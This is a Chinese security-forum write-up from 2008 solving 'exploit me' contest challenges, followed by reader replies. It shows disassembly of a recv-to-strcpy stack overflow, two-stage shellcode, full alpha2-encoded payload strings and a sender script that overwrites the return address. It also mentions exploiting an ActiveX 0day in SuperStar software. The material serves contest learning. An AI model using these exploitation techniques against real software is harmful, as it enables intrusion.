首页
社区
课程
招聘
[原创]exploit me提要
2008-1-2 12:51 7300

[原创]exploit me提要

2008-1-2 12:51
7300
一开始没打算参赛,晚上无聊搞了搞,发觉还是很简单的。

其实我做的很不好,懒得写文档,但至少可以跨平台的。

A题:

用E语言发了一个大包给本地,直接崩了,从recv入手,很容易得到

00401000  /$  81EC C8000000 sub     esp, 0C8
00401006  |.  83C9 FF       or      ecx, FFFFFFFF
00401009  |.  33C0          xor     eax, eax
0040100B  |.  8D5424 00     lea     edx, dword ptr [esp]
0040100F  |.  56            push    esi
00401010  |.  57            push    edi
00401011  |.  8BBC24 D40000>mov     edi, dword ptr [esp+D4]
00401018  |.  68 4C904000   push    exploit_.0040904C                ;  ASCII "********************"
0040101D  |.  F2:AE         repne   scasb                            ;  \这里是个strcpyA
0040101F  |.  F7D1          not     ecx
00401021  |.  2BF9          sub     edi, ecx
00401023  |.  8BC1          mov     eax, ecx
00401025  |.  8BF7          mov     esi, edi
00401027  |.  8BFA          mov     edi, edx
00401029  |.  C1E9 02       shr     ecx, 2
0040102C  |.  F3:A5         rep     movsd
0040102E  |.  8BC8          mov     ecx, eax
00401030  |.  83E1 03       and     ecx, 3
00401033  |.  F3:A4         rep     movsb                            ;  /


这里面就一个堆栈变量,长度0xC8 = 200,所以用200字节覆盖,最后用4字节地址来执行。

ctrl+R回到调用处,可以看到传进来的参数恰好是buffer,

0040120B  |.  50            |push    eax                             ; /Flags => 0
0040120C  |.  F3:AB         |rep     stosd                           ; |
0040120E  |.  8D4C24 38     |lea     ecx, dword ptr [esp+38]         ; |
00401212  |.  68 00020000   |push    200                             ; |BufSize = 200 (512.)
00401217  |.  51            |push    ecx                             ; |Buffer
00401218  |.  53            |push    ebx                             ; |Socket
00401219  |.  FF15 D8804000 |call    dword ptr [<&WS2_32.#16>]       ; \recv
0040121F  |.  8BF0          |mov     esi, eax
00401221  |.  85F6          |test    esi, esi
00401223  |.  7D 26         |jge     short exploit_.0040124B
00401225  |.  68 74904000   |push    exploit_.00409074               ;  ASCII "reading stream message erro!"
0040122A  |.  B9 689A4000   |mov     ecx, exploit_.00409A68
0040122F  |.  E8 F3010000   |call    exploit_.00401427
00401234  |.  68 D0124000   |push    exploit_.004012D0
00401239  |.  6A 0A         |push    0A                              ; /Arg1 = 0000000A
0040123B  |.  8BC8          |mov     ecx, eax                        ; |
0040123D  |.  E8 9E000000   |call    exploit_.004012E0               ; \exploit_.004012E0
00401242  |.  8BC8          |mov     ecx, eax
00401244  |.  E8 67000000   |call    exploit_.004012B0
00401249  |.  33F6          |xor     esi, esi
0040124B  |>  8D5424 34     |lea     edx, dword ptr [esp+34]
 


这么明显的溢出,如果还不能跨平台,有点太没意思了。

要跨平台就得在程序内找一个地址,覆盖了返回之后跳到buffer中执行,

因此可以直接把返回地址改成一个retn指令的地址,就跳到buffer了。

不过现在的问题:

1、跨平台选的地址都是004xxxxx,strcpy会停止于00
2、就算strcpy不停止,recv只收200字节,所以后面不好控制
3、由于strcpy,shellcode前面有00出现会停止造成无法溢出

1、2算做一个问题,就是我们只能编码200字节shellcode

看第三个问题,可以用skyline的alpha2来编码,通过精心选择指令写出的loader,

可以只使用ascii字符,地址是http://www.edup.tudelft.nl/~bjwever/menu.html.php

在线版不太会用,下载了c代码,发现不是for win32的,

试验了几次,发现需要改动头文件,把srand的seed随便写一个值,不用那个time库,再把strcasecmp改成strcmp就可以用vc编译了,编译一个exe出来备用

输入方式好像很奇怪,最后发现需要用管道输入,服了,写了一个屁处理来使用

我用我的XLIB跨平台使用API,不过alpha2编码之后怎么也缩不到200字节,

现在得停下来思考,既然一个包200不成,那就再发第2个包,

于是我写了2份shellcode,第一个负责溢出,并且去recv第2个包,然后执行第2个包

这是第一个
   mov edi, esp
   mov ecx, 1024;alloc
   sub edi, ecx
 
   push 0
   push ecx
   push edi
   push ebx
   mov eax, 4080D8h
   call dword ptr [eax]; 这里是recv
   jmp edi
 


然后是第2个,

 
; fucker
;   initX XFL_ALL
;
;   push 1000
;   push 1000
;   callX Beep
;


XLIB是我写的一个库,可以用任何可以跨平台的shellcode的库代替,这里我就是简单的Bi~~~一下

然后就是那个屁处理了,

alpha2 [esp-4] <0.bin >0.txt
alpha2 edi <1.bin >1.txt


其实第2个包不需要alpha2编码,不过为了保持一致,也就搞一个吧

0.txt
 
LLLL7YIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJInkkLlyuP6dS0UPTkzYRJUP3aPW1CnX8XMP3p7pYovpKOM7gpA
 


1.txt
WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIXimQc0uP7pY8L9PZ0XPRol1pSZwDpZCTLK2bKLmUKp2Y38fcWdWrLMQPcLZKvglKSpTLLKPpeLNMnkQPeXM8S0wp7p30qOLSNkaSgLnkplVxt8S3xkfSKyLMfTNkgsPuWPLmNyyQJbdGTrUDtXg0tzwldXsEydLMt4q45L6K2644vuSq7KPMWhSL9NV7Qxtfk0NLXHm8MMKOioioibNNhkO3LKpU4d5SkcVoLwwd3zlKpE7leSYSWs5LNpMYuNPaomV0cCwqv88CU8xh7swpWprHyxgsEPeP3X8p0rByc8JHPkKOKOKOA


最后是一个易语言程序负责发包

 
.版本 2
.程序集 窗口程序集1
.子程序 _按钮1_被单击
.局部变量 t, 文本型
c.连接 (“127.0.0.1”, 7777)
t = “LLLL7YIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJInkkLlyuP6dS0UPTkzYRJUP3aPW1CnX8XMP3p7pYovpKOM7gpA”
t = t + 取空白文本 (200 - 取文本长度 (t))
c.发送数据 (到字节集 (t) + 到字节集 (4199334))
延时 (100)
c.发送数据 (“WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIXimQc0uP7pY8L9PZ0XPRol1pSZwDpZCTLK2bKLmUKp2Y38fcWdWrLMQPcLZKvglKSpTLLKPpeLNMnkQPeXM8S0wp7p30qOLSNkaSgLnkplVxt8S3xkfSKyLMfTNkgsPuWPLmNyyQJbdGTrUDtXg0tzwldXsEydLMt4q45L6K2644vuSq7KPMWhSL9NV7Qxtfk0NLXHm8MMKOioioibNNhkO3LKpU4d5SkcVoLwwd3zlKpE7leSYSWs5LNpMYuNPaomV0cCwqv88CU8xh7swpWprHyxgsEPeP3X8p0rByc8JHPkKOKOKOA”)
c.断开连接 ()
 


B题:

这个。。。很毒很真实。

按照那个doc教程获得CLSID,再baidu一下啊,发现是超星的0day

只要自己写shellcode,用utf16编码就可以了

不小心下载alpha2的时候看到skyline的网站上有个beta.c

发现就是用来干这个的,于是。。。提交。【揭露一下,第2个没耐心了,根本没测试,估计不行,哈哈】

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞7
打赏
分享
最新回复 (19)
雪    币: 8188
活跃值: (4238)
能力值: ( LV15,RANK:2459 )
在线值:
发帖
回帖
粉丝
ccfer 16 2008-1-2 12:58
2
0
很好,很愉快
雪    币: 337
活跃值: (1510)
能力值: ( LV13,RANK:970 )
在线值:
发帖
回帖
粉丝
nbw 24 2008-1-2 12:59
3
0
老了,连个沙发也没抢到
雪    币: 12
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
toplcj 1 2008-1-2 13:02
4
0
支持下!.....
雪    币: 398
活跃值: (343)
能力值: (RANK:650 )
在线值:
发帖
回帖
粉丝
shoooo 16 2008-1-2 14:31
5
0
腰好  腰愉快
雪    币: 207
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
xfmaple 1 2008-1-2 14:56
6
0
纯数字SHELLCODE,好东西
雪    币: 7300
活跃值: (3758)
能力值: (RANK:1130 )
在线值:
发帖
回帖
粉丝
海风月影 22 2008-1-2 14:58
7
0
肾好  肾愉快
雪    币: 66
活跃值: (15)
能力值: ( LV9,RANK:330 )
在线值:
发帖
回帖
粉丝
theOcrat 8 2008-1-2 15:14
8
0
俗话说吃啥补啥, forgot令人口馋

ps:我什么都没说什么都没看见
雪    币: 1946
活跃值: (238)
能力值: (RANK:330 )
在线值:
发帖
回帖
粉丝
Bughoho 8 2008-1-2 16:33
9
0
牙好,牙愉快
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
魔幻水晶 2008-1-2 17:51
10
0
我咋就忘了搜一下了呢……
雪    币: 1946
活跃值: (238)
能力值: (RANK:330 )
在线值:
发帖
回帖
粉丝
Bughoho 8 2008-1-2 19:18
11
0
第1个题的shellcode跟长度无关,可大可小。
第2个题你的译码器加上编码不知道超过0x100没,把第1个参数整坏了你这个题应该就挂了。我当时就是这个原因才没有用这个编码。
雪    币: 6071
活跃值: (2236)
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
forgot 26 2008-1-2 23:24
12
0
第一个题:要跨平台会被截断,用丑陋的方式可以大一些。并且注意,我只说了第一个包有限制,第2个包随便,只要TCPIP不分片。
第二个题:我忘了,不过用第一题同样的方法,可以扩展长度,大小也不是问题。
雪    币: 1946
活跃值: (238)
能力值: (RANK:330 )
在线值:
发帖
回帖
粉丝
Bughoho 8 2008-1-2 23:39
13
0
恩,我的意思也是0x200字节内,是我没说清楚。
雪    币: 8188
活跃值: (4238)
能力值: ( LV15,RANK:2459 )
在线值:
发帖
回帖
粉丝
ccfer 16 2008-1-3 00:01
14
0
学到了分次溢出的指导思想
雪    币: 325
活跃值: (97)
能力值: ( LV13,RANK:530 )
在线值:
发帖
回帖
粉丝
foxabu 13 2008-1-3 00:05
15
0
为啥只能够小于200字节呢?
unsigned char JmpEdx[] = {0x3E, 0x8D, 0x94, 0x24, 0x34, 0xFF, 0xFF, 0xFF, 255, 226};
我的 ShellCode 明显就可以利用 500 - 8 字节

还有 要跨平台会被截断 ? 没懂.我的理解只要不为0 就可以无限strcpy.这里的strcpy貌似是内联函数 好像不存在你说的这个问题 .  指点一下望. 因为一般而言我都无法懂你再说啥.....你上次这么教育我的.

忘了说 这题有BUG
Vista会socket error...和微软作对是不好的.

最后再膜拜一下forgXt.虽然不知道你写的什么.完全学习 + 不懂得说

突然发现规则上没有说可以用Easy Power Language.不排除我又没有读懂.
雪    币: 6071
活跃值: (2236)
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
forgot 26 2008-1-3 01:48
16
0
用程序内部的retn地址都是004xxxxx,所以出现了00,所以被截断

规则没看,只是做题,不为参赛
雪    币: 8188
活跃值: (4238)
能力值: ( LV15,RANK:2459 )
在线值:
发帖
回帖
粉丝
ccfer 16 2008-1-3 09:34
17
0
鼓励使用C语言,如果使用脚本语言,请提供脚本源代码及详细的运行环境说明。本次比赛只接收ruby,perl,phyon三种脚本语言

易语言不属于脚本语言,应该可以使用
雪    币: 211
活跃值: (18)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
百家拳 2008-1-3 09:51
18
0
第一个包负责溢出执行recv,
recv(sockClient,recvBuf,100,0)
jmp recvBuf
好计谋!
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zhucheba 2008-1-3 10:10
19
0
坐下来学习一下
雪    币: 14
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hup 2008-1-27 09:26
20
0
forgot这个头像俺收藏了,哈哈
游客
登录 | 注册 方可回帖
返回